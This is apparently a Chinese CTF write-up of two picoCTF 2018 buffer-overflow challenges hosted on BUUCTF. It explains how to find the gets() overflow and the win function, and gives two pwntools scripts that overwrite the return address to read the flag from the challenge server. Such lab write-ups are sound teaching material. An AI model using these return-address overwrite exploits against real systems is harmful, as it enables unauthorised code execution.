[BUUCTF]PWN——picoctf_2018_buffer overflow 1/2

xlpwn發表於2020-11-07

picoctf_2018_buffer overflow 1

附件

步驟:

  1. 例行檢查,32位程式,沒開保護
    在這裡插入圖片描述
  2. 本地執行一下程式,看看程式大概的執行情況
    在這裡插入圖片描述
  3. 32位ida載入,習慣性的檢查程式裡的字串,發現有flag.txt,跟進,找到了讀出flag的函式,win_addr=0x80485CB
    在這裡插入圖片描述
  4. 根據執行時看到的字串找到了輸入點
    在這裡插入圖片描述
    gets函式讀入,存在溢位漏洞,覆蓋ret為win函式即可
from pwn import *

r=remote('node3.buuoj.cn',27200)
win_addr=0x80485CB

payload='a'*(0x28+4)+p32(win_addr)

r.sendline(payload)
r.interactive()

在這裡插入圖片描述

picoctf_2018_buffer overflow 2

附件

步驟

  1. 例行檢查,32位程式,開啟了NX保護
    在這裡插入圖片描述
  2. 本地試執行一下程式,看看大概的情況
    在這裡插入圖片描述
  3. 32位ida載入,習慣性的檢索字串,看到了flag.txt,雙擊跟進
    在這裡插入圖片描述
    跟1差不多,2只是呼叫win函式的時候要滿足a1=0xDEADBEEF,a2=0xDEADC0DE,就可以讀出flag了
from pwn import*
r=remote('node3.buuoj.cn',25010)
payload='a'*(0x6c+4)+p32(0x80485cb)+p32(0)+p32(0xDEADBEEF)+p32(0xDEADC0DE)
r.sendline(payload)
r.interactive()

在這裡插入圖片描述